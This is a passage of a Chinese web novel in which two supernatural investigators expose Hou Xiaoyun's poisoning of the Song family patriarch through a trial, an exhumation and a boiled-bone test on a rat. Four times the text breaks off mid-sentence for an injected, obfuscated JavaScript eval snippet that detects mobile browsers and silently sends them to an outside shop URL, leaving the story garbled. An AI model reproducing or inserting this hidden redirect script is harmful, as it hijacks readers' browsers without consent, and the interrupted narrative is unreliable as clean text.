陆继支支吾吾半天说不出一句话，他低着头用余光看了眼侯啸云，见侯啸云面露凶光，他吓了一跳，又偏到另一侧，瞟了眼乐游，见她也一脸威胁地看着自己。 陆继欲哭无泪，几番权衡下，艰难开口道：“草民当初确实为宋家老爷治过病，宋家老爷患的是痈疽，蓖麻子虽有毒性，却是治疗痈疽的良药，其他大夫也会开这一味药。” “但你身为大夫，会不知道蓖麻子与黑豆相克吗？我记得有一日，你说你要去给宋家老爷看病，让我把宋家定的豆腐给你，你顺手带去。这事你可还记得？”李氏反问他。 “这......”陆继嘴角抽搐着：“数年前的事，草民......” “咳咳！”乐游轻咳了一声。 陆继望了她一眼，两眼一闭豁出去般说道：“草民早已不记得了。”侯老爷是在青云城能只手遮天的人，这小丫头虽不知道从哪里得知自己有个小金库，但是这又如何，他就不信一个小丫头能对他的小金库做什么，大不了他明日就带着金子远走高飞，离开青云城。陆继一阵思索，权衡利弊后，打定了主意说他不知道。 “草民只是一个大夫，负责治病救人，余下的什么也不知道。” 侯老爷眼里闪过一丝精光，趁机说道：“请县令大人明鉴，我与陆神医真的是冤枉的。”他一句话把自己和陆继绑在了一起。 “我这侄女，哎！”侯啸云指了指宋昭清，一副痛心疾首的样子：“俗话说，家丑不可外扬，我本不想说出这事，可今日也不得不说。这都怪我，是我管教不严呐，宋兄走前把昭清这丫头托付给我，可我毕竟是个大男人，夫人也早就不在了。是我不会管教丫头，让她还未及笄时，就被府中一个杂役蛊惑，要与他私奔。” 说着，侯啸云声泪俱下：“我把那个杂役赶出府去，增派了些人跟在昭清身边，昭清因此记恨上了我。后来我出门做生意，一时疏忽，让那个杂役混进了府中，两人...两人！罢了！” “你胡说！你休要血口喷人！”小枝从地上窜起来， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13376738|141034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冲向侯啸云，双手掐住他的脖子，咬牙切齿道：“你休要污蔑我家小姐！” 眼见又要乱作一团，县令赶紧下令道：“快把他们拉开！”闻声两个衙役上前捉住小枝，把她架到一旁。 “侯啸云，你不得好死！”小枝双腿悬空，不断挣扎着，冲侯啸云怒吼道。 侯啸云被掐的脸色涨红，趴在地上一阵猛咳。 “够了！简直是胡闹！女儿家家的，因为一些儿女情长，竟闹到如此地步。”县令一甩袖，站起身就要走。 “慢着！”宋昭清站起身走到侯啸云面前，冷冷开口道：“你的意思是，我与那杂役私通，生下的孩子？” “是，昭清，伯父本不想说出这事毁你名节，可是你...你却受人蛊惑，反过来污蔑伯父。”侯啸云也站起来，颤颤巍巍地弓着腰，满脸的伤心欲绝。 “那你可敢与死去的孩子验亲？若这孩子是你的，便是你在说谎，若是这孩子不是你的，便是我在说谎。”宋昭清盯着侯啸云，双眸漆黑如潭中沉星。 侯啸云被她骇人的眼神吓得一哆嗦，一时半会说不出话来。 “验亲！验亲！就应该验亲！”乐游面朝人群，大喊道：“乡亲们，你们觉得是不是应该验亲！不验亲他就是心虚！” “对！应该验亲。”回应声此起彼伏。 县令跨出的脚步，又做回椅子上，无奈道：“孩子被扔在了女婴岗，如何验亲？” “县令大人，想必您一定听说过滴骨验亲法。只要将活人的鲜血滴在死人的骨头上，看鲜血是否能渗入骨头，便可以得知两人是否有血缘关系。”乐游转身朝县令说。 “本官从未听过此法。”县令掀了掀眼皮，不咸不淡道：“你这个小丫头是何身份，与此案有何关系？难不成你也有冤，要告侯啸云？” “小女与师弟玄砚同是永信法师的传人，是侯府的人，为侯府除祟。”乐游低头抱拳道。 “你是侯府的人？”县令疑惑道。 “是！小女虽是侯府的人，可小女向来嫉恶如仇，绝不会因为是侯府的人就偏袒侯老爷。”乐游义正言辞地说：“初到青云城时，我便听闻城西侯府的侯老爷宅心仁厚，是个大好人。遂与师弟拜入侯府，为侯府除祟。可意外听说宋姑娘的伤心往事，令小女十分揪心，因此才会出现在高台上。” “如果侯老爷是清白的，是乐游错信了奸人的鬼话，乐游愿意任凭侯老爷处置，就算侯老爷要将我千刀万剐，我也绝不吭声。”乐游态度诚恳，让人忍不住为之动容。 “乐游仙姑真是个好人呐！”一个彪形大汉朝身边人喊道：“你们不知道，前些日子，乐游仙姑得知我家夫人怀孕了，特意给我家送来辟邪符纸，分文不取！连茶水都不肯多喝一口。”这大汉就是张家的屠夫，他夫人站在他身旁，也紧跟着附和道。 “好了好了，看来仙姑真是个大义凛然的人。可方才宋姑娘说，那两个孩子被扔去了女婴岗，女婴岗漫山遍野的尸骨，如何找到那两个孩子的尸骨？”县令招手让他们安静，自己开口道。 “大人，其实民女并非只有两个孩子，民女共诞下过三名女婴，前两名女婴一生下来痴痴傻傻的便被侯啸云扔到了女婴岗，第三名女婴...是健康的，民女将她抚养到两岁时，她被...被侯啸云摔死了。她的尸骨被民女葬在院前的石榴树下。”讲起这个孩子，宋昭清声音有些哽噎。 “大人，小女略会些武功，脚下功夫快，小女愿意前往侯府取女婴尸骨。”乐游上前一步说道。 县令愁眉不展地看着她们几人，思索良久后，他忽略了一直朝自己挤眉弄眼的侯啸云，开口道：“那你就去一趟侯府吧。” 9. 往事 第二日午时，乐游还在呼呼大睡，玄砚忍无可忍推开她的房门，一把掀开她的被子。 乐游睡得四仰八叉，嘴里咂巴咂巴着，嘴角还有疑似口涎的液体。被人掀了被子她仍无知无觉，翻个身继续睡。 玄砚满脸黑线盯着她的背影，悄悄在手指凝起一点灵力，弹向乐游的小腿。 “嗷呜～”乐游腾地一下坐起来，捂着小腿哀嚎一声。 “你...你怎么在我房里？刚刚是不是你打的我！”乐游举起拳头就要打玄砚。 玄砚一个闪躲，让她扑了个空。 “若是我不来找你，你打算睡到几时？”玄砚语调平常，可乐游仍听出几分不悦。 乐游抓住一旁的被子盖在身上，仍理直气壮道：“我...我昨夜想案子想了半宿，所以今天才会睡得晚些。” “而且...而且你不是说了嘛，男女授受不亲，你怎么随便掀我被子呢。” “这是人间的规矩，我是守灵人，不必遵守。” 在玄砚恐怖的眼神下，乐游很快吃完早午膳，跟着玄砚出了客栈。 青云城现在可热闹了，不仅街上的行人络绎不绝，而且小摊小贩也都正常营业了。 卖包子的、卖糖葫芦的、卖糖果点心的，乐游本想问玄砚他们要去哪，可转眼间就被这些小吃吸引过去了，把这事抛在了脑后。 “仙姑，来尝尝我家的包子。”青云城的人现在谁不认识乐游和玄砚，见了他们都热情得很。包子铺老板朝乐游招呼道。 乐游咽了咽口水，虽然她刚刚吃得很饱，可是眼前的包子真的好香好诱人，包子皮包馅多，油润润的，一口咬下去，一定会在嘴里爆出汁水。 乐游眨巴着眼睛看向玄砚，玄砚视而不见。 乐游再看，契而不舍地盯着他：“能不能给我买一个。”她终于忍不住开口问道，她手里没有银子，买不了。 “不用钱不用钱，仙姑尽管来吃好了。”包子铺老板用油纸包好包子，跑出来塞到乐游手里。 包子刚出炉，有些烫，乐游被烫地龇牙咧嘴仍不肯放开油纸包。她一脸炫耀地看着玄砚：“老板说他送给我的，不用钱！”说着一脸得意地打开油纸，迫不及待咬了口包子，果真和她想的一般美味！ 乐游走在前面，埋头吃包子。玄砚拉下脸，无奈地摇摇头，从怀里掏出几个铜板扔到老板面前，留下一句：“多谢。”便去追乐游了。 老板还没反应过来，就见两人已经走了老远。 乐游一路吃了包子，吃了烧鸡，喝了糖水，好不开心！每个老板见了她，都说不收钱免费给她吃，她可吃了个畅怀，彻底把玄砚忘在了脑后。 玄砚盯着她一路吃吃喝喝，脸色黑得如锅底般，但还是从怀里掏出铜板替她结账。 直到一个分叉路口，玄砚开口叫住她：“往左走。” 乐游这才想起来，自己身后还跟着一个人，她意犹未尽地舔了舔唇，问道：“我们去哪？” “去找县令。” ...... 县令正坐在官廨中看书，里正站在他身旁。 见乐游和玄砚进来了，里正很识趣地退下。 “见过县令大人。”乐游玄砚齐声说。 “嗯。”县令放下手里的书，指了指门口站着的两人，对乐游说：“这两人便是负责宋家老爷案子的衙役，还望仙姑早日查明真相。”说完又拿起书，装模作样地看起来，一副下逐客令的样子。 乐游也不想在这里多呆，领了两人就出了官廨。她一人走在最前面，其次是玄砚，最后是那两名衙役。 乐游走得雄赳赳气昂昂的，实则脑袋里一团浆糊，并不知道此时该去何处。 她放慢脚步，与玄砚并肩而行。 “喂，我们现在去哪呀？”乐游靠近他，掩面用气音问道。 玄砚说：“我们只是协助查案，要去哪，你应该问他们两。”他用手指了指身后的两人。 “可是...好吧。”乐游停住脚步，反过身去问身后的衙役：“县令是欣赏你们，才派你们来查这个案子的，想必你们一定有过人之处。那你们说说，这个案子我们要先从哪里查起。” “呃...”两个衙役面面相觑，分明是最不受器重、最倒霉的人才会被派来查这个案子。他们两资历浅，又没有门道，平常能建功立业的案子半点沾不到，只能跟着打打下手做做杂活，该怎么查案，他们还真是不清楚。 “或许我们应该先去趟侯府？”其中一个衙役迟疑道。 “很好！我也是这么想的，你叫什么名字？”乐游抬头挺胸，故作稳重道。 “在下李毅。” “你呢？”乐游指了指另一个更沉默寡言的衙役。 “在下沈宋。” 沈宋？好奇怪的名字。 四人“浩浩荡荡”地去了侯府，一路上格外惹人眼。毕竟他们一个是行侠仗义的仙姑，一个是去灵除祟的高人，身后还跟着两个穿了官服的衙役。 侯府如今萧瑟许多，宋昭清遣散了府中大多数下人，又把侯啸云收的美妻小妾们都赶出了府。 “见过两位高人。”小枝如今仍在宋昭清身边服侍，她见了乐游格外开心。 “小枝，替四位泡壶茶来。”宋昭清对小枝说。 “是！” 小枝乐呵呵地去泡茶了，房内只剩他们五人。 “我们是为了宋老爷的事情而来，我们想了解了解当年的事，越细节越好。”乐游率先开口直入正题。 宋昭清指了指椅子，说道：“几位先坐下吧，想问什么便尽管问，昭清一定不会有所隐瞒。” “好。”乐游坐到梨花木椅上，接着开口问道：“卖豆腐的李氏，与你们宋家有什么关系？她看上去比你大不了几岁，十年前她年岁应该也不大，为何会对宋家的事这么了解。”当初宋家的情况就是李氏告诉她的。 “我父亲喜欢吃豆腐，李氏的豆腐做得好，父亲格外爱去她家买豆腐。每逢佳节时，不仅在她家定许多豆腐，还经常额外多给些辛苦费。”宋昭清缓缓开口：“李氏那时约莫十二三岁，她父亲身体不好，所以她早早就接下了家里的生意，因此与我父亲熟识。” “因为李氏与我年岁相仿，我每次调皮惹父亲母亲生气时，父亲便爱拿我与李氏作比，我因此存了记恨之心。有一次，我又与父亲闹了别扭，一起之下我就跑出府去了李氏的豆腐铺。”说起这段往事，宋昭清眉眼带着些笑意：“结果我跑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13376740|141034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 累了，又渴又饿。当时刚好到了用晚膳的时间，李氏留我在她家吃饭，我没忍住同意了。晚上我不愿意回家，她又留我在她家过夜。” “就这样一来二往，我们成了挚友。我不愿意上学堂时，就偷偷跑到她家，一边看她卖豆腐，一边给她念话本。等她豆腐卖完了，我便教她识字，不过她可笨了。”不知想到什么，沈昭清扑哧笑出了声：“常常一个大字教她好几天她都记不住，数月下来，她就识得我和她的名字，因此我经常嘲笑她，她还因为这事跟我闹过脾气。” 自觉讲得有些远，宋昭清有些不好意思地笑了一笑，将话题转向重点：“有一次下了学堂，我又去找她玩，她拿出一张药方，问我‘蓖麻子’的蓖怎么读。我也不认识，可我不愿意承认，我便说这个字写错了，根本没有这个字。她说不可能，这是宋府的人拜托她帮忙去抓药的药方，是给我父亲的。” 宋昭清一顿后又接着说：“那时候我知道父亲身体不适，父亲的朋友给他请了个大夫，日夜在府中替他煎药，难闻地要命。李氏还说我父亲为了滋补身体，特意在她家定了黑豆豆腐，黑豆豆腐价格更 高，她家那一月的收入都涨了不少。” “我并没有把这件事放在心上，因为我父亲身体向来强健，我以为他喝了那些药，身体便会好。可是没想到...不过是数月后，我的父亲就离开了我。”宋昭清的声音有些沙哑：“父亲走后的第一个冬天，我的母亲也跟着去了，留我孤苦伶仃一个人。” “然后，侯啸云便以为我母亲处理后事为由，住进了宋府。这一住就到了现在！”宋昭清狠狠道：“那时候我尚且年幼，失去了父母亲只会整夜里哭泣。侯啸云欺负我年幼，把府中的下人都赶了出去，我身边除了小枝，再没有一个旧人。” “那时候我有一个义兄，比我年长几岁，为人聪慧又文韬武略，我父亲在世时很欣赏他。侯啸云来了宋府后，他常常与侯啸云作对，侯啸云便找机会把他赶出去了。侯啸云这个人心狠手辣，不知道会不会对他赶尽杀绝。” “咯哒——”突然，茶杯被打翻后在桌子上滚了一圈最后落到了地上发出清脆的声音打断了宋昭清的话。沈宋手忙地去抓茶杯，白皙的手背被茶水烫红一片。 “小枝，给这位官爷再换一盏茶。”宋昭清没有把这件事放在心上，叮嘱小枝后，又继续讲起了往事。 “后来我年岁渐长，偶然间翻医书发现蓖麻子与黑豆相克，同时食用会产生剧毒，我便起了疑心。我偷偷去找了李氏，从她哪里我得知，来给宋府定黑豆豆腐的就是侯啸云！而给我父亲开药方的大夫也是他请的。” “我一直想给我父亲报仇，可是我什么也做不了，还一直被他困在府里，期间我与李氏也失去了联系。” “你父亲去世时，难道其他人没有怀疑吗？”乐游不禁问道。 宋昭清摇摇头：“没有，我父亲走时并无中毒迹象，而且当时大家都十分伤心，根本没有想到我父亲是被害死的。” “令尊的尸骨如今葬在何处？”玄砚开口问。 “就在青云山脚下，高人问这作何？”宋昭清疑惑道。 “我有一计，或许可以引侯啸云自己跳出来，只是需要用到令尊的尸骨。” 10. 掘坟开棺 三日后，青云山脚下。 “真...真要掘坟？”县令不安地看向乐游，声音颤抖地说。 乐游点点头：“县令大人，还请您在场做个证人。” “这...”县令往后退了一步，不着痕迹地躲在玄砚身后：“高人，宋老爷已经入土为安，现在掘坟岂不是对宋老爷的大不敬。本官为官数十载，从没见过为了找证据掘人坟墓的。”县令的五官皱巴成了一团。 见乐游玄砚两人一副势在必行的表情，转头又问宋昭清：“宋小姐，你也同意开棺验尸？这可是你的亲生父亲！只怕日后落个不孝的名声啊。”县令苦口婆心地劝，倒也不是因为好心，只是因为害怕，这个案子毕竟在他名下，乐游玄砚也是奉命协助官府查案，若是传出去说是他为了破案命人掘坟，他不得被城里的百姓戳着脊梁骨骂。 “阿爹死的不明不白，此次开馆是为了查明真相，想必阿爹一定不会怪罪于我。”宋昭清也是一脸决绝。 既然宋昭清都这样说，那他也没办法。县令长叹一口气，摇摇头。 “两位高人，敢问叫小人来是作何？”被衙役押解跪在地上的陆继大着胆子说，一边说还一边抖着。 乐游起了捉弄他的心思，走到他身后，慢慢靠近他的耳边，突然来了一句：“验尸呀～” 陆继被吓得大叫一声，倒在地上，哭丧着脸说：“小人就是一个大夫，验尸...验尸要找仵作，小人不会啊。” “可是青云城没有仵作，从县里调仵作要耽误不少时间。再说了，你真的不会验尸？”乐游从怀里掏出一本书，随手翻了几页：“这是不是你的笔记？” 陆继眯着眼睛看了一眼后大惊道：“你从哪里来的这本书？” “自然是从你那拿的咯。”乐游露出一抹残忍的笑：“你书房的书架上。” “你......”他想问她什么时候潜进他书房的，难怪她知道自己有个小金库。 可是乐游很快就收起了书，站起身来背对着他，吩咐李毅和沈宋开始动手。 两人速度太慢，宋昭清带来的小厮也加入了两人。 宋老爷的坟墓规格并不大，只比普通人家的看起来更庄重些。 玄砚蹲在宋老爷的墓碑前，用手一一抚过上面的字，面色凝重。乐游发现他表情不对，于是凑到他面前问发现了什么。 “这墓碑上的字是阳刻。”玄砚是守灵人，在人间抓捕恶灵上万年，见过的墓碑千千万，却很少见到阳刻的墓碑。 乐游也学着他的样子，摸着这些字，?不解道：“什么叫阳刻？” “你看，这些字都是凸起的，这就叫阳刻。而一般的墓碑应该是阴刻，字是陷进去的。”玄砚解释道。 “也许是宋老爷去得突然，宋府的人手忙脚乱弄错了。”乐游没把这个放在心上。 玄砚摇摇头，若有所思道：“不可能。”寻常人家在这事上都会十分讲究规矩，更何况宋府这样的高门大户，怎会因为时间匆忙，就把墓碑弄错了，这对死者可是大忌讳。 “罢了，跟你讲你也不懂。”玄砚收回手，不再和她多说。 乐游早就习惯了他这幅死样子，在他背后撅起嘴阴阳怪气地模仿他说话：“跟你说～你也不懂～” 几个人的动作很快，一两个时辰后，就隐隐可以看见漆黑棺木。 “直接打开吧。”乐游跳进坑里，就要推开棺盖。 “诶诶诶！仙姑！”县令向前迈了一步喊住她， “开棺前是不是应该先做点什么仪式？” “坟都挖了，还做什么仪式？”乐游脱口而出。 县令张着嘴，呆若木鸡，说得也没错。 乐游绕着棺材走了一圈，双手握住棺盖，使劲地推，却见这棺盖纹丝不动。 “棺材上面有七星钉，你推不动的。”玄砚也跳进坑里，掏出一把匕首，挑出一根长钉。 每副棺材一共会钉七个钉子，所以称为七星钉。玄砚一一挑出这七枚钉子。 “这些钉子钉得可真隐蔽。”乐游说着，就要推开棺盖。 “等等。”玄砚阻止她道，接着对身后的人说： “你们都离远些！” “是不是出什么问题了？”县令拉着都头挡在自己前面，疯狂往后退。 众人一直退到几乎快看不见两人的身影后才停下来。 “借你的血一用。”玄砚抓住乐游的手指，趁她还没反应过来，用匕首飞快地割出一道口子。 “嗷呜！”乐游猝不及防，等血滴在棺材上之后，才后知后觉地感到痛。 只见血滴在棺木上的瞬间，整个棺材震动起来了。棺材里有什么东西□□着棺盖。玄砚一个翻身，单手倒立撑在棺盖上。他手下运气，灵力通过他的掌心运输到棺木之上。棺材震动得更厉害了，但不消一会就又恢复了平静。 玄砚跳下棺材，一掌拍开棺盖。 “你们可以过来了。”玄砚冲远处的众人大喊道。 方才他们隔得远，这边有什么动静也看不真切，现在走近了，却看到棺盖裂成两半，棺木中躺着的白骨乱七八糟地排列着，头骨不知怎的，竟在细长的腿骨旁。 宋昭清看了一眼后，沉默不语，神色晦暗不明。 这次棺内倒没有那么浓烈的尸臭味，但是也飘出一股难以言说的味道。乐游不禁往后退了几步，用手在鼻子下轻扇几下。 “你，下来。”玄砚指着陆继说。 “我...我我不去。”陆继哪见过这场面，早就被吓得屁滚尿流。他从地上爬起来就往外跑，没跑几步，玄砚腾空一跃，跃到他身后，抓住他的肩膀，把他抛到坑里。 陆继砸到地上，啃了一嘴的泥，他呸呸几声，转头就看到棺材里的移位的白骨，发出惊恐的尖叫声：“啊啊啊啊啊啊啊！” 乐游默默转过头去，捂住自己的耳朵，这人的叫声跟那晚石榴树下听到的婴儿啼哭声一样刺耳。 空荡的山脚下久久回荡着他的尖叫声，旁人都忍不住后退几步。 县令缩着脑袋躲在都头身后，偶尔才敢探出头看几眼。 “你个大夫居然怕白骨？你不会是做贼心虚吧？”乐游看着吓傻了呆住不动的陆继，戳了戳他的胳膊。 “我...我就是个普通的大夫，饶了我吧。”陆继跪在地上爬了几步，抱住乐游的大腿求饶道。 “诶！男女授受不亲，你干嘛！”乐游想甩开他，可一时竟甩不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13376741|141034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开，不得以向玄砚求助：“玄砚，帮帮我。” 玄砚一把揪住他的衣领，把他扯开了：“不必害怕，你只需要看一眼他是否因中毒而死。” 好大一会过去了，陆继才从地上爬起来，颤颤巍巍走到棺材旁，只看了一眼，忽地腿软又跪倒在地上。 乐游好心把他拎起来，让他靠在棺木上。 陆继伸出手想碰白骨，犹犹豫豫好几回，最后哇地一声跪在地上哭道：“仙姑，我害怕，真的饶了我吧。” “仙姑仙姑，你不是拿了我的医书吗，那其实是我师兄的手记，里面有个法子，把死人的骨头放锅里煮一煮，再把煮的水喂给老鼠喝，老鼠要是死了，那这个人就是中毒死的。”陆继手脚并用爬上坑，趴在坑上说。 “这法子一定比让我验尸准多了。”陆继连忙补充道，他脸色苍白，嘴唇忍不住地颤抖，看得出来是真的害怕。 陆继说的这个法子，乐游隐约记得手记中确实有记载，原来这本医书竟然不是陆继的。 “这法子真的准？”乐游问。 陆继点点头，没想到她居然真的在考虑这个方法，于是准备再接再厉地劝说，只是话还未出口，就被县令打断了。 “仙姑，这法子太过残忍，是不是应该先问问宋小姐的意思。”县令一边说一边看向宋昭清。 宋昭清看了一眼棺材里的白骨，闭上眼睛没有作答，面上满是纠结痛苦之色。众人齐齐看向她，大抵都觉得这个法子过于残忍。 “如果真的有用，那就试试吧。”她再睁开眼时，声音克制道。 青云山脚下条件简陋，于是乐游命人取了棺材里的一节白骨带回城里验骨。 在场的人多有些忌讳，不愿取骨，正当乐游准备自己动手时，李毅主动说：“仙姑，不然让我来吧，我不怕这些。” 李毅跳进坑里，面对着棺材磕了三个响头，然后站起来恭敬道：“后辈并非有意打扰宋老爷安息，还望宋老爷原谅。”说完后双手从棺材里捧出一节腿骨包在锦布里。 回去的路上，乐游与陆继并行，见他还是一副吓破魂的样子，便几分打趣道：“你害死了这么多人，竟然被一副白骨吓成这样。” “我...我什么时候害死人了！”陆继反应很大，双眸通红，满脸狰狞地看着乐游。 “宋老爷还有被堕掉的女婴们，难道不是因为你吗？”乐游平静地反问他。 “我说了，宋老爷不是我害的，我只是给他开了药方！那些女婴就算不被堕掉，生下来也会被她们的父母扔进女婴岗，不管怎么样都是死，和我有什么关系？”陆继压低声音，有些歇斯底里地说。 乐游不以为然，那些女婴若真能出生，或许还有几分存活的可能。就像贾夫人，要是没有被下药，她现在就会有两个可爱的女儿了。 “通过把脉分辨腹中胎儿男女是不是你师兄教你的？你师兄是个有本事的人，他写的手记也很有意思，他也在青云城吗？”潜入陆继书房的那天，乐游随手翻了翻书架上的书，见那手记里的内容颇为有趣，便将手记偷偷带回去了。后来她仔细读过那手记，里面记录了许多偏方诡法，滴骨验亲就是她在那本手记里看到的。 “与你无关。” 11. 事情的落幕 听说官府的人要在官廨煮骨验尸，城里的百姓都跑去围观，里三层外层的把官廨围了个水泄不通。 “几天前就听说宋家要开棺验尸，没想居然来真的，这宋老爷真是够可怜的。生前被下毒害死，死了还要被挖坟。”一百姓努努嘴说道。 “可不是吗？这煮骨验尸听说是把骨头放沸水里煮，这也太......诶，你看，真的在起锅烧水。”旁人惊奇地指着堂中央正在烧火的大锅。 大堂中央，烈火熊熊燃烧，溅起的火星子让初夏的空气更加燥热。乐游离得近，小脸被热得通红。 “别站那么近。”玄砚把乐游拉到自己身后，不着痕迹地替她阻隔热气。 乐游刚有些感动，准备跟他道谢，就听他漠然的声音响起：“天地间最后一只孟极像烤猪一样被烧熟了，传出去会被三界笑话的。” “好你个玄砚！”乐游努力稳住快要崩坏的表情，试图跟他解释上古神兽孟极才不害怕人间的火。 不过烧火的衙役来禀告，打断了乐游要说出口的话。 “县令大人，两位高人，水已经烧开了。” 县令把目光投向乐游，乐游看了看宋昭清，又看了看坐在她身旁的侯啸云。为了公平起见，侯啸云被短暂地放出来，被允许围观煮骨验尸的过程。 “开始吧。”乐游走上前去，亲手将那节腿骨放进锅里。 沸水翻腾，骨头沉没到锅底，乐游看了一会，受不了上升的水蒸汽的热度，于是后退了几步。 “仙姑，这需要煮多长时间？”烧火的衙役问。 乐游仔细回忆了一下手记里写的，似乎没说多长时间，她转身问一旁的陆继：“要煮多长时间？” “猪大排需要煮多长时间就煮多长时间。”陆继冷冷地开口，从青云山脚下回来后，他的表情就一直不对劲，不再一副胆怯懦弱的样子，只是嘴唇仍有些发白。 “嗯......”乐游迟疑了一下，对衙役说：“就按照陆神医说的做。” “是。”衙役不再添火了。 等待的过程中，众人翘首以盼，晌午已过，外面日头正烈，围在官廨外的人也只增不减。 县令抹了一把脸上的热汗，咕咚咕咚几大口喝完眼前的茶水。 “县令大人可要用些午膳。”都头一边给他扇风，一边殷切地问他。 县令白了他一眼，指着堂中央煮骨头的大锅：“吃个屁！你让我如何吃得下。” “是是！”拍马屁拍到马腿上的都头忙不迭低下头，老实的不再说话，手下更加卖力地扇风。 好在火烧得大，不一会，烧火的衙役又禀告道：“大人，两位高人，已经差不多了。” 县令站立来，中气十足地说道：“好！”说着他最先跑到大锅旁，似有些急不可耐的样子。 其余众人也都围到大锅旁边，只见乐游从锅里舀起一碗沸水，待沸水冷却后，衙役将一只灰色大老鼠放到碗边。 老鼠探头探脑地在碗边转圈，衙役推了它一把，最后在一众人的目光下，终于探进碗里喝了一口。 一群人屏住呼吸，仔细观察这大老鼠，看它究竟会不会死，可盯了半晌，这老鼠还是在桌子上吱吱地叫，看起来安然无恙。 “这老鼠看起来没有什么问题，是不是说明侯老爷并非中毒而亡？那这个案子就到此结束吧。”县令一边捋胡子一边乐呵道，他的余光不着痕迹地瞟向一直不说话的侯啸云，侯啸云朝他做了个手势，他会心一笑，接着说：“既然如此，那大家就散了吧。宋小姐......” “不可能。”宋昭清打断县令的话，一把扑到桌边，恶狠狠地盯着活蹦乱跳的老鼠。 “你这法子到底准不准？”宋昭清转身抓住陆继的衣领。 陆继神色镇定，冷然道：“自然是准的。” “陆神医的本事，青云城的百姓都有目共睹，他说准，那一定不会出差错。宋姑娘，你一定是误会侯老爷了。”县令说，说完他便走到大堂之上，猛地一拍惊堂木，高声对官廨外的百姓说：“乡亲们...” “等会！”众人都盯着高堂上的县令，可一直盯着老鼠的乐游却发现，吱吱叫的老鼠不叫了，也不探头探脑地四处张望了。 “老鼠死了。”乐游指着老鼠，大声地说，这声音传到官廨外，百姓们听地一清二楚。 在场的几人脸色陡变，县令的动作也一顿，他僵硬地扭了一下脖子，问道：“死了？！” “不可能！”这次说不可能的是一直没说话的侯啸云，他想伸手去抓桌上的老鼠，被玄烨以迅雷不及掩耳之势挡了回去。 “你看，这老鼠不动了。”乐游提起老鼠的尾巴，把他倒立在空中，晃了几下，老鼠仍一动不动。 “不不不......”侯啸云后退几步，一脸的不可置信：“你们在水里做了手脚。” “做手脚的一直都是你！侯啸云！”宋昭清终于松了一口气，脸上露出大仇将报的快感，她拍了拍手，发出清脆的声音。 闻声，人群中两个穿着杂役衣服的人拖着一个垂着脑袋的男人走到大堂上，他们身后还跟几个人，抬着一副黑木棺材。 “哟，这是怎么回事？”看热闹的观众还没争论清楚谁对谁错，就又把话题转向抬进来的黑木棺材：“怎么把棺材都抬来了，这不会是宋老爷的棺材吧？” 两个杂役把男人扔到地上，男人躺在地上一动不动，不知是死是活。 “侯啸云，他是你的心腹吧？两天前的晚上，你派他去挖我阿爹的坟，想换掉里面的棺材。你若不是心虚，为何要这样做？”宋昭清讥讽地说。 “我在狱中，如何吩咐他做这些？这一定是他自己做的！说不定...说不定宋兄的死与他有关？”侯啸云语无伦次地说，在狱中的几日他憔悴不少，像老了几十岁一般。 “县令大人，你一定要还我清白啊，今生今世我愿意为县令大人当牛做马。”侯啸云跪在地上，抓着县令的鞋不停哀求道。 县令脸色阴沉，一脚踹在他肩头：“胡说八道什么，你若清白，本官自然会还你清白，何需你当牛做马。可你若不清白，本官如何还你清白？” 侯啸云在地上打了个滚，沾了满身的灰，他面如死灰，知道自己也许再也无法翻身了。可他不甘心，他苦了半辈子，好不容易得来了荣华富贵，他还没有享受够，怎么能被一个小丫头给毁了。 他眼中精光一现，突然抱住县令大人的腿，声音嘶哑道：“县令在位多年，最清楚不过我的为人。县里有灾有难，我侯某人每次都是首当其冲，捐财捐物都在所不辞。如今侯某人只是一时不慎，落了一个黄毛丫头的套，请大人一定要相信我，为我查明真相。” 县令知道他意有所指，愈发觉得他在威胁自己，但为了稳住他，防止他口无遮拦抖出更多事，县令让人塞住了他的嘴，把他按在凳子上。 “那这幅棺材是？”县令问堂中央摆放的棺材。 “这是一副假棺材，是我们特意放进宋老爷墓里的。我们早就预料到了侯啸云会派人去调换宋老爷的棺材，所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13376742|141034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 